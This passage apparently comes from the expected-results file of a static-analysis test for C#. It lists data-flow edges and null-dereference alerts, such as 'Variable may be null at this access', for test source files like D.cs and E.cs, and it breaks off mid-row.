-| D.cs:382:9:385:27 | if (...) ... | D.cs:385:13:385:15 | access to local variable ioe | -| D.cs:388:36:388:36 | SSA param(a) | D.cs:390:32:390:32 | 0 | -| D.cs:388:45:388:45 | SSA param(b) | D.cs:390:32:390:32 | 0 | -| D.cs:388:45:388:45 | SSA param(b) | D.cs:390:36:390:36 | access to parameter a | -| D.cs:390:20:390:43 | ... ? ... : ... | D.cs:393:21:393:21 | access to local variable i | -| D.cs:390:20:390:43 | ... ? ... : ... | D.cs:393:21:393:21 | access to local variable i | -| D.cs:390:32:390:32 | 0 | D.cs:390:20:390:43 | ... ? ... : ... | -| D.cs:390:32:390:32 | 0 | D.cs:390:20:390:43 | ... ? ... : ... | -| D.cs:390:36:390:36 | access to parameter a | D.cs:390:20:390:43 | ... ? ... : ... | -| D.cs:393:21:393:21 | access to local variable i | D.cs:394:9:396:9 | {...} | -| D.cs:393:21:393:21 | access to local variable i | D.cs:394:9:396:9 | {...} | -| D.cs:393:21:393:21 | access to local variable i | D.cs:395:20:395:20 | access to parameter a | -| D.cs:393:21:393:21 | access to local variable i | D.cs:397:9:397:44 | ... ...; | -| D.cs:394:9:396:9 | {...} | D.cs:393:21:393:21 | access to local variable i | -| D.cs:394:9:396:9 | {...} | D.cs:393:21:393:21 | access to local variable i | -| D.cs:397:9:397:44 | ... ...; | D.cs:397:32:397:32 | 0 | -| D.cs:397:20:397:43 | ... ? ... : ... | D.cs:398:21:398:21 | access to local variable i | -| D.cs:397:32:397:32 | 0 | D.cs:397:20:397:43 | ... ? ... : ... | -| D.cs:398:21:398:21 | access to local variable i | D.cs:399:9:401:9 | {...} | -| D.cs:398:21:398:21 | access to local variable i | D.cs:400:20:400:20 | access to parameter b | -| D.cs:399:9:401:9 | {...} | D.cs:398:21:398:21 | access to local variable i | -| D.cs:405:35:405:35 | SSA param(x) | D.cs:407:14:407:35 | [false] ... && ... | -| D.cs:405:35:405:35 | SSA param(x) | D.cs:407:14:407:35 | [false] ... && ... | -| D.cs:405:35:405:35 | SSA param(x) | D.cs:407:14:407:35 | [false] ... && ... | -| D.cs:405:45:405:45 | SSA param(y) | D.cs:407:14:407:35 | [false] ... && ... | -| D.cs:405:45:405:45 | SSA param(y) | D.cs:407:14:407:35 | [false] ... && ... | -| D.cs:405:45:405:45 | SSA param(y) | D.cs:407:14:407:35 | [false] ... && ... | -| D.cs:407:13:407:64 | [false] ... \|\| ... | D.cs:409:9:410:25 | if (...) ... | -| D.cs:407:13:407:64 | [false] ... \|\| ... | D.cs:409:9:410:25 | if (...) ... | -| D.cs:407:14:407:35 | [false] ... && ... | D.cs:407:42:407:42 | access to parameter x | -| D.cs:407:14:407:35 | [false] ... && ... | D.cs:407:42:407:42 | access to parameter x | -| D.cs:407:42:407:42 | access to parameter x | D.cs:407:42:407:63 | [false] ... && ... | -| D.cs:407:42:407:42 | access to parameter x | D.cs:407:55:407:55 | access to parameter y | -| D.cs:407:42:407:42 | access to parameter x | D.cs:407:55:407:55 | access to parameter y | -| D.cs:407:42:407:63 | [false] ... && ... | D.cs:407:13:407:64 | [false] ... \|\| ... | -| D.cs:407:42:407:63 | [false] ... && ... | D.cs:407:13:407:64 | [false] ... \|\| ... | -| D.cs:407:55:407:55 | access to parameter y | D.cs:407:42:407:63 | [false] ... && ... | -| D.cs:407:55:407:55 | access to parameter y | D.cs:407:42:407:63 | [false] ... && ... | -| D.cs:409:9:410:25 | if (...) ... | D.cs:410:13:410:13 | access to parameter y | -| D.cs:409:9:410:25 | if (...) ... | D.cs:411:9:412:25 | if (...) ... | -| D.cs:411:9:412:25 | if (...) ... | D.cs:412:13:412:13 | access to parameter x | -| E.cs:9:18:9:26 | SSA def(a2) | E.cs:10:22:10:54 | ... && ... | -| E.cs:10:22:10:54 | ... && ... | E.cs:12:38:12:39 | access to local variable a2 | -| E.cs:11:16:11:24 | SSA def(a3) | E.cs:12:22:12:52 | ... && ... | -| E.cs:12:22:12:52 | ... && ... | E.cs:14:13:14:14 | access to local variable a3 | -| E.cs:23:13:23:30 | SSA def(s1) | E.cs:24:33:24:36 | null | -| E.cs:24:18:24:41 | ... ? ... : ... | E.cs:26:9:27:26 | if (...) ... | -| E.cs:24:33:24:36 | null | E.cs:24:18:24:41 | ... ? ... : ... | -| E.cs:26:9:27:26 | if (...) ... | E.cs:27:13:27:14 | access to local variable s1 | -| E.cs:51:22:51:33 | SSA def(slice) | E.cs:53:16:53:19 | access to local variable iter | -| E.cs:53:16:53:19 | access to local variable iter | E.cs:54:9:63:9 | {...} | -| E.cs:54:9:63:9 | {...} | E.cs:61:13:61:17 | access to local variable slice | -| E.cs:54:9:63:9 | {...} | E.cs:61:13:61:27 | ...; | -| E.cs:61:13:61:27 | ...; | E.cs:53:16:53:19 | access to local variable iter | -| E.cs:66:40:66:42 | SSA param(arr) | E.cs:70:13:70:50 | ...; | -| E.cs:66:40:66:42 | SSA param(arr) | E.cs:72:9:73:23 | if (...) ... | -| E.cs:70:13:70:50 | ...; | E.cs:70:36:70:36 | 0 | -| E.cs:70:22:70:49 | ... ? ... : ... | E.cs:72:9:73:23 | if (...) ... | -| E.cs:70:36:70:36 | 0 | E.cs:70:22:70:49 | ... ? ... : ... | -| E.cs:72:9:73:23 | if (...) ... | E.cs:73:13:73:15 | access to parameter arr | -| E.cs:107:15:107:25 | SSA def(arr2) | E.cs:111:9:112:30 | for (...;...;...) ... | -| E.cs:111:9:112:30 | for (...;...;...) ... | E.cs:111:25:111:25 | access to local variable i | -| E.cs:111:25:111:25 | access to local variable i | E.cs:112:13:112:16 | access to local variable arr2 | -| E.cs:111:25:111:25 | access to local variable i | E.cs:112:13:112:30 | ...; | -| E.cs:112:13:112:30 | ...; | E.cs:111:25:111:25 | access to local variable i | -| E.cs:120:16:120:20 | [true] !... | E.cs:121:9:143:9 | {...} | -| E.cs:120:17:120:20 | access to local variable stop | E.cs:120:16:120:20 | [true] !... | -| E.cs:121:9:143:9 | {...} | E.cs:123:21:123:24 | access to local variable stop | -| E.cs:123:20:123:24 | [false] !... | E.cs:123:20:123:35 | [false] ... && ... | -| E.cs:123:20:123:24 | [true] !... | E.cs:123:29:123:29 | access to local variable j | -| E.cs:123:20:123:35 | [false] ... && ... | E.cs:120:17:120:20 | access to local variable stop | -| E.cs:123:20:123:35 | [true] ... && ... | E.cs:124:13:142:13 | {...} | -| E.cs:123:20:123:35 | [true] ... && ... | E.cs:125:33:125:35 | access to local variable obj | -| E.cs:123:21:123:24 | access to local variable stop | E.cs:123:20:123:24 | [false] !... | -| E.cs:123:21:123:24 | access to local variable stop | E.cs:123:20:123:24 | [true] !... | -| E.cs:123:29:123:29 | access to local variable j | E.cs:123:20:123:35 | [false] ... && ... | -| E.cs:123:29:123:29 | access to local variable j | E.cs:123:20:123:35 | [true] ... && ... | -| E.cs:124:13:142:13 | {...} | E.cs:128:21:128:23 | access to local variable obj | -| E.cs:124:13:142:13 | {...} | E.cs:141:17:141:26 | ...; | -| E.cs:137:25:137:34 | SSA def(obj) | E.cs:139:21:139:29 | continue; | -| E.cs:139:21:139:29 | continue; | E.cs:123:21:123:24 | access to local variable stop | -| E.cs:141:17:141:26 | ...; | E.cs:123:21:123:24 | access to local variable stop | -| E.cs:152:16:152:26 | SSA def(obj2) | E.cs:153:13:153:54 | [false] ... && ... | -| E.cs:153:13:153:54 | [false] ... && ... | E.cs:158:9:159:28 | if (...) ... | -| E.cs:158:9:159:28 | if (...) ... | E.cs:159:13:159:16 | access to local variable obj2 | -| E.cs:162:28:162:28 | SSA param(a) | E.cs:164:29:164:29 | 0 | -| E.cs:164:17:164:40 | ... ? ... : ... | E.cs:165:25:165:25 | access to local variable i | -| E.cs:164:29:164:29 | 0 | E.cs:164:17:164:40 | ... ? ... : ... | -| E.cs:165:25:165:25 | access to local variable i | E.cs:166:9:170:9 | {...} | -| E.cs:165:25:165:25 | access to local variable i | E.cs:167:21:167:21 | access to parameter a | -| E.cs:165:32:165:32 | access to local variable i | E.cs:165:25:165:25 | access to local variable i | -| E.cs:166:9:170:9 | {...} | E.cs:165:32:165:32 | access to local variable i | -| E.cs:173:29:173:31 | SSA param(obj) | E.cs:175:33:175:37 | false | -| E.cs:173:29:173:31 | SSA param(obj) | E.cs:175:33:175:37 | false | -| E.cs:175:19:175:42 | ... ? ... : ... | E.cs:177:9:179:9 | {...} | -| E.cs:175:19:175:42 | ... ? ... : ... | E.cs:178:13:178:15 | access to parameter obj | -| E.cs:175:19:175:42 | ... ? ... : ... | E.cs:180:9:183:9 | if (...) ... | -| E.cs:175:33:175:37 | false | E.cs:175:19:175:42 | ... ? ... : ... | -| E.cs:177:9:179:9 | {...} | E.cs:180:9:183:9 | if (...) ... | -| E.cs:180:9:183:9 | if (...) ... | E.cs:181:9:183:9 | {...} | -| E.cs:181:9:183:9 | {...} | E.cs:184:9:187:9 | if (...) ... | -| E.cs:184:9:187:9 | if (...) ... | E.cs:186:13:186:15 | access to parameter obj | -| E.cs:190:29:190:29 | SSA param(o) | E.cs:192:17:192:17 | access to parameter o | -| E.cs:198:13:198:29 | [b (line 196): false] SSA def(o) | E.cs:203:13:203:13 | access to local variable o | -| E.cs:198:13:198:29 | [b (line 196): true] SSA def(o) | E.cs:201:13:201:13 | access to local variable o | -| E.cs:206:28:206:28 | SSA param(s) | E.cs:208:13:208:23 | [false] ... is ... | -| E.cs:208:13:208:23 | [false] ... is ... | E.cs:210:16:210:16 | access to parameter s | -| E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:218:9:218:9 | access to local variable x | -| E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:220:13:220:13 | access to local variable x | -| E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:229:13:229:13 | access to local variable x | -| E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:229:13:229:25 | ...; | -| E.cs:229:13:229:25 | ...; | E.cs:230:9:230:9 | access to local variable x | -| E.cs:233:26:233:26 | SSA param(i) | E.cs:235:16:235:16 | access to parameter i | -| E.cs:238:26:238:26 | SSA param(i) | E.cs:240:21:240:21 | access to parameter i | -| E.cs:283:13:283:22 | [b (line 279): false] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | -| E.cs:283:13:283:22 | [b (line 279): true] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | -| E.cs:301:13:301:27 | SSA def(s) | E.cs:302:9:302:9 | access to local variable s | -| E.cs:319:29:319:30 | SSA param(s1) | E.cs:321:20:321:21 | access to parameter s2 | -| E.cs:321:13:321:30 | [true] ... is ... | E.cs:323:13:323:14 | access to parameter s1 | -| E.cs:321:14:321:21 | ... ?? ... | E.cs:321:13:321:30 | [true] ... is ... | -| E.cs:321:20:321:21 | access to parameter s2 | E.cs:321:14:321:21 | ... ?? ... | -| E.cs:330:13:330:36 | SSA def(x) | E.cs:331:9:331:9 | access to local variable x | -| E.cs:342:13:342:32 | SSA def(x) | E.cs:343:9:343:9 | access to local variable x | -| E.cs:348:17:348:36 | SSA def(x) | E.cs:349:9:349:9 | access to local variable x | -| E.cs:366:28:366:28 | SSA param(s) | E.cs:366:41:366:41 | access to parameter s | -| E.cs:374:17:374:31 | SSA def(s) | E.cs:375:20:375:20 | access to local variable s | -| E.cs:380:24:380:25 | SSA param(e1) | E.cs:382:28:382:29 | access to parameter e2 | -| E.cs:380:24:380:25 | SSA param(e1) | E.cs:382:28:382:29 | access to parameter e2 | -| E.cs:380:24:380:25 | SSA param(e1) | E.cs:382:28:382:29 | access to parameter e2 | -| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:14:382:37 | [false] ... && ... | -| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:14:382:37 | [false] ... && ... | -| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:14:382:37 | [false] ... && ... | -| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:28:382:29 | access to parameter e2 | -| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:28:382:29 | access to parameter e2 | -| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:28:382:29 | access to parameter e2 | -| E.cs:382:13:382:68 | [false] ... \|\| ... | E.cs:384:9:385:24 | if (...) ... | -| E.cs:382:13:382:68 | [false] ... \|\| ... | E.cs:384:9:385:24 | if (...) ... | -| E.cs:382:14:382:37 | [false] ... && ... | E.cs:382:44:382:45 | access to parameter e1 | -| E.cs:382:14:382:37 | [false] ... && ... | E.cs:382:44:382:45 | access to parameter e1 | -| E.cs:382:28:382:29 | access to parameter e2 | E.cs:382:14:382:37 | [false] ... && ... | -| E.cs:382:28:382:29 | access to parameter e2 | E.cs:382:14:382:37 | [false] ... && ... | -| E.cs:382:44:382:45 | access to parameter e1 | E.cs:382:44:382:67 | [false] ... && ... | -| E.cs:382:44:382:45 | access to parameter e1 | E.cs:382:44:382:67 | [false] ... && ... | -| E.cs:382:44:382:67 | [false] ... && ... | E.cs:382:13:382:68 | [false] ... \|\| ... | -| E.cs:382:44:382:67 | [false] ... && ... | E.cs:382:13:382:68 | [false] ... \|\| ... | -| E.cs:384:9:385:24 | if (...) ... | E.cs:384:13:384:36 | [false] ... && ... | -| E.cs:384:9:385:24 | if (...) ... | E.cs:384:27:384:28 | access to parameter e2 | -| E.cs:384:13:384:36 | [false] ... && ... | E.cs:386:16:386:17 | access to parameter e1 | -| E.cs:384:13:384:36 | [false] ... && ... | E.cs:386:27:386:28 | access to parameter e2 | -| E.cs:384:27:384:28 | access to parameter e2 | E.cs:384:13:384:36 | [false] ... && ... | -| E.cs:404:9:404:18 | SSA def(i) | E.cs:405:16:405:16 | access to local variable i | -| E.cs:404:9:404:18 | SSA def(i) | E.cs:405:16:405:16 | access to local variable i | -| E.cs:417:24:417:40 | SSA capture def(i) | E.cs:417:34:417:34 | access to parameter i | -| E.cs:423:28:423:44 | SSA capture def(i) | E.cs:423:38:423:38 | access to parameter i | -| E.cs:430:29:430:45 | SSA capture def(i) | E.cs:430:39:430:39 | access to parameter i | -| E.cs:435:29:435:29 | SSA param(s) | E.cs:437:13:437:21 | [true] ... is ... | -| E.cs:437:13:437:21 | [true] ... is ... | E.cs:439:13:439:13 | access to parameter s | -| Forwarding.cs:7:16:7:23 | SSA def(s) | Forwarding.cs:9:13:9:30 | [false] !... | -| Forwarding.cs:9:13:9:30 | [false] !... | Forwarding.cs:14:9:17:9 | if (...) ... | -| Forwarding.cs:14:9:17:9 | if (...) ... | Forwarding.cs:19:9:22:9 | if (...) ... | -| Forwarding.cs:19:9:22:9 | if (...) ... | Forwarding.cs:19:13:19:23 | [false] !... | -| Forwarding.cs:19:13:19:23 | [false] !... | Forwarding.cs:24:9:27:9 | if (...) ... | -| Forwarding.cs:24:9:27:9 | if (...) ... | Forwarding.cs:29:9:32:9 | if (...) ... | -| Forwarding.cs:29:9:32:9 | if (...) ... | Forwarding.cs:34:9:37:9 | if (...) ... | -| Forwarding.cs:34:9:37:9 | if (...) ... | Forwarding.cs:35:9:37:9 | {...} | -| Forwarding.cs:34:9:37:9 | if (...) ... | Forwarding.cs:36:31:36:31 | access to local variable s | -| Forwarding.cs:35:9:37:9 | {...} | Forwarding.cs:40:27:40:27 | access to local variable s | -| GuardedString.cs:7:16:7:32 | SSA def(s) | GuardedString.cs:9:13:9:36 | [false] !... | -| GuardedString.cs:9:13:9:36 | [false] !... | GuardedString.cs:14:9:17:9 | if (...) ... | -| GuardedString.cs:14:9:17:9 | if (...) ... | GuardedString.cs:14:13:14:41 | [false] !... | -| GuardedString.cs:14:13:14:41 | [false] !... | GuardedString.cs:19:9:20:40 | if (...) ... | -| GuardedString.cs:19:9:20:40 | if (...) ... | GuardedString.cs:19:26:19:26 | 0 | -| GuardedString.cs:19:26:19:26 | 0 | GuardedString.cs:22:9:23:40 | if (...) ... | -| GuardedString.cs:22:9:23:40 | if (...) ... | GuardedString.cs:22:25:22:25 | 0 | -| GuardedString.cs:22:25:22:25 | 0 | GuardedString.cs:25:9:26:40 | if (...) ... | -| GuardedString.cs:25:9:26:40 | if (...) ... | GuardedString.cs:25:26:25:26 | 0 | -| GuardedString.cs:25:26:25:26 | 0 | GuardedString.cs:28:9:29:40 | if (...) ... | -| GuardedString.cs:28:9:29:40 | if (...) ... | GuardedString.cs:28:25:28:26 | 10 | -| GuardedString.cs:28:25:28:26 | 10 | GuardedString.cs:31:9:32:40 | if (...) ... | -| GuardedString.cs:31:9:32:40 | if (...) ... | GuardedString.cs:31:26:31:27 | 10 | -| GuardedString.cs:31:26:31:27 | 10 | GuardedString.cs:34:9:37:40 | if (...) ... | -| GuardedString.cs:34:9:37:40 | if (...) ... | GuardedString.cs:34:26:34:26 | 0 | -| GuardedString.cs:34:26:34:26 | 0 | GuardedString.cs:35:31:35:31 | access to local variable s | -| NullAlwaysBad.cs:7:29:7:29 | SSA param(s) | NullAlwaysBad.cs:9:30:9:30 | access to parameter s | -| NullMaybeBad.cs:13:17:13:20 | null | NullMaybeBad.cs:7:27:7:27 | access to parameter o | -| Params.cs:20:12:20:15 | null | Params.cs:14:17:14:20 | access to parameter args | -| StringConcatenation.cs:14:16:14:23 | SSA def(s) | StringConcatenation.cs:15:16:15:16 | access to local variable s | -| StringConcatenation.cs:15:16:15:16 | access to local variable s | StringConcatenation.cs:16:17:16:17 | access to local variable s | -#select -| C.cs:64:9:64:10 | access to local variable o1 | C.cs:62:13:62:46 | SSA def(o1) | C.cs:64:9:64:10 | access to local variable o1 | Variable $@ may be null at this access because of $@ assignment. | C.cs:62:13:62:14 | o1 | o1 | C.cs:62:13:62:46 | Object o1 = ... | this | -| C.cs:68:9:68:10 | access to local variable o2 | C.cs:66:13:66:46 | SSA def(o2) | C.cs:68:9:68:10 | access to local variable o2 | Variable $@ may be null at this access because of $@ assignment. | C.cs:66:13:66:14 | o2 | o2 | C.cs:66:13:66:46 | Object o2 = ... | this | -| C.cs:95:15:95:15 | access to local variable o | C.cs:94:13:94:45 | SSA def(o) | C.cs:95:15:95:15 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | C.cs:94:13:94:13 | o | o | C.cs:94:13:94:45 | Object o = ... | this | -| C.cs:103:27:103:30 | access to parameter list | C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list | Variable $@ may be null at this access because of $@ assignment. | C.cs:99:42:99:45 | list | list | C.cs:102:13:102:23 | ... = ... | this | -| C.cs:177:13:177:13 | access to local variable s | C.cs:178:13:178:20 | SSA def(s) | C.cs:177:13:177:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:151:13:151:13 | s | s | C.cs:178:13:178:20 | ... = ... | this | -| C.cs:203:13:203:13 | access to local variable s | C.cs:204:13:204:20 | SSA def(s) | C.cs:203:13:203:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:185:13:185:13 | s | s | C.cs:204:13:204:20 | ... = ... | this | -| C.cs:223:9:223:9 | access to local variable s | C.cs:222:13:222:20 | SSA def(s) | C.cs:223:9:223:9 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:210:13:210:13 | s | s | C.cs:222:13:222:20 | ... = ... | this | -| C.cs:242:13:242:13 | access to local variable s | C.cs:240:24:240:31 | SSA def(s) | C.cs:242:13:242:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:228:16:228:16 | s | s | C.cs:240:24:240:31 | ... = ... | this | -| D.cs:23:9:23:13 | access to parameter param | D.cs:17:17:17:20 | null | D.cs:23:9:23:13 | access to parameter param | Variable $@ may be null at this access because of $@ null argument. | D.cs:21:32:21:36 | param | param | D.cs:17:17:17:20 | null | this | -| D.cs:32:9:32:13 | access to parameter param | D.cs:26:32:26:36 | SSA param(param) | D.cs:32:9:32:13 | access to parameter param | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:26:32:26:36 | param | param | D.cs:28:13:28:25 | ... != ... | this | -| D.cs:62:13:62:14 | access to local variable o5 | D.cs:58:13:58:41 | SSA def(o5) | D.cs:62:13:62:14 | access to local variable o5 | Variable $@ may be null at this access because of $@ assignment. | D.cs:58:13:58:14 | o5 | o5 | D.cs:58:13:58:41 | String o5 = ... | this | -| D.cs:73:13:73:14 | access to local variable o7 | D.cs:68:13:68:34 | SSA def(o7) | D.cs:73:13:73:14 | access to local variable o7 | Variable $@ may be null at this access because of $@ assignment. | D.cs:68:13:68:14 | o7 | o7 | D.cs:68:13:68:34 | String o7 = ... | this | -| D.cs:82:13:82:14 | access to local variable o8 | D.cs:75:13:75:34 | SSA def(o8) | D.cs:82:13:82:14 | access to local variable o8 | Variable $@ may be null at this access because of $@ assignment. | D.cs:75:13:75:14 | o8 | o8 | D.cs:75:13:75:34 | String o8 = ... | this | -| D.cs:84:13:84:14 | access to local variable o8 | D.cs:75:13:75:34 | SSA def(o8) | D.cs:84:13:84:14 | access to local variable o8 | Variable $@ may be null at this access because of $@ assignment. | D.cs:75:13:75:14 | o8 | o8 | D.cs:75:13:75:34 | String o8 = ... | this | -| D.cs:91:13:91:14 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:14 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | -| D.cs:94:21:94:22 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:94:21:94:22 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | -| D.cs:98:21:98:22 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:98:21:98:22 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | -| D.cs:102:31:102:32 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:102:31:102:32 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | -| D.cs:105:19:105:20 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:105:19:105:20 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this | -| D.cs:134:24:134:24 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:134:24:134:24 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:127:20:127:28 | ... == ... | this | -| D.cs:134:24:134:24 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:134:24:134:24 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:139:13:139:21 | ... != ... | this | -| D.cs:135:24:135:24 | access to parameter b | D.cs:125:44:125:44 | SSA param(b) | D.cs:135:24:135:24 | access to parameter b | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:44:125:44 | b | b | D.cs:128:20:128:28 | ... == ... | this | -| D.cs:145:20:145:20 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:145:20:145:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:127:20:127:28 | ... == ... | this | -| D.cs:145:20:145:20 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:145:20:145:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:139:13:139:21 | ... != ... | this | -| D.cs:151:9:151:11 | access to parameter obj | D.cs:149:36:149:38 | SSA param(obj) | D.cs:151:9:151:11 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:149:36:149:38 | obj | obj | D.cs:152:17:152:27 | ... != ... | this | -| D.cs:171:9:171:11 | access to local variable obj | D.cs:163:16:163:25 | SSA def(obj) | D.cs:171:9:171:11 | access to local variable obj | Variable $@ may be null at this access because of $@ assignment. | D.cs:163:16:163:18 | obj | obj | D.cs:163:16:163:25 | Object obj = ... | this | -| D.cs:245:13:245:13 | access to local variable o | D.cs:240:9:240:16 | SSA def(o) | D.cs:245:13:245:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:228:16:228:16 | o | o | D.cs:240:9:240:16 | ... = ... | this | -| D.cs:247:13:247:13 | access to local variable o | D.cs:240:9:240:16 | SSA def(o) | D.cs:247:13:247:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:228:16:228:16 | o | o | D.cs:240:9:240:16 | ... = ... | this | -| D.cs:253:13:253:14 | access to local variable o2 | D.cs:249:13:249:38 | SSA def(o2) | D.cs:253:13:253:14 | access to local variable o2 | Variable $@ may be null at this access because of $@ assignment. | D.cs:249:13:249:14 | o2 | o2 | D.cs:249:13:249:38 | String o2 = ... | this | -| D.cs:267:13:267:13 | access to local variable o | D.cs:258:16:258:23 | SSA def(o) | D.cs:267:13:267:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:258:16:258:23 | Object o = ... | this | -| D.cs:291:13:291:13 | access to local variable o | D.cs:269:9:269:16 | SSA def(o) | D.cs:291:13:291:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:269:9:269:16 | ... = ... | this | -| D.cs:291:13:291:13 | access to local variable o | D.cs:283:17:283:24 | SSA def(o) | D.cs:291:13:291:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:283:17:283:24 | ... = ... | this | -| D.cs:294:13:294:13 | access to local variable o | D.cs:269:9:269:16 | SSA def(o) | D.cs:294:13:294:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:269:9:269:16 | ... = ... | this | -| D.cs:294:13:294:13 | access to local variable o | D.cs:283:17:283:24 | SSA def(o) | D.cs:294:13:294:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:283:17:283:24 | ... = ... | this | -| D.cs:300:17:300:20 | access to local variable prev | D.cs:296:16:296:26 | SSA def(prev) | D.cs:300:17:300:20 | access to local variable prev | Variable $@ may be null at this access because of $@ assignment. | D.cs:296:16:296:19 | prev | prev | D.cs:296:16:296:26 | Object prev = ... | this | -| D.cs:313:17:313:17 | access to local variable s | D.cs:304:16:304:23 | SSA def(s) | D.cs:313:17:313:17 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | D.cs:304:16:304:16 | s | s | D.cs:304:16:304:23 | String s = ... | this | -| D.cs:324:9:324:9 | access to local variable r | D.cs:316:16:316:23 | SSA def(r) | D.cs:324:9:324:9 | access to local variable r | Variable $@ may be null at this access because of $@ assignment. | D.cs:316:16:316:16 | r | r | D.cs:316:16:316:23 | Object r = ... | this | -| D.cs:356:13:356:13 | access to local variable a | D.cs:351:15:351:22 | SSA def(a) | D.cs:356:13:356:13 | access to local variable a | Variable $@ may be null at this access because of $@ assignment. | D.cs:351:15:351:15 | a | a | D.cs:351:15:351:22 | Int32[] a = ... | this | -| D.cs:363:13:363:16 | access to local variable last | D.cs:360:20:360:30 | SSA def(last) | D.cs:363:13:363:16 | access to local variable last | Variable $@ may be null at this access because of $@ assignment. | D.cs:360:20:360:23 | last | last | D.cs:360:20:360:30 | String last = ... | this | -| D.cs:372:13:372:13 | access to local variable b | D.cs:366:15:366:47 | SSA def(b) | D.cs:372:13:372:13 | access to local variable b | Variable $@ may be null at this access because of $@ assignment. | D.cs:366:15:366:15 | b | b | D.cs:366:15:366:47 | Int32[] b = ... | this | -| D.cs:395:20:395:20 | access to parameter a | D.cs:388:36:388:36 | SSA param(a) | D.cs:395:20:395:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:388:36:388:36 | a | a | D.cs:390:20:390:28 | ... == ... | this | -| D.cs:400:20:400:20 | access to parameter b | D.cs:388:45:388:45 | SSA param(b) | D.cs:400:20:400:20 | access to parameter b | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:388:45:388:45 | b | b | D.cs:397:20:397:28 | ... == ... | this | -| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:407:27:407:35 | ... == ... | this | -| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:407:55:407:63 | ... != ... | this | -| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:411:13:411:21 | ... != ... | this | -| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:407:14:407:22 | ... != ... | this | -| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:407:42:407:50 | ... == ... | this | -| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this 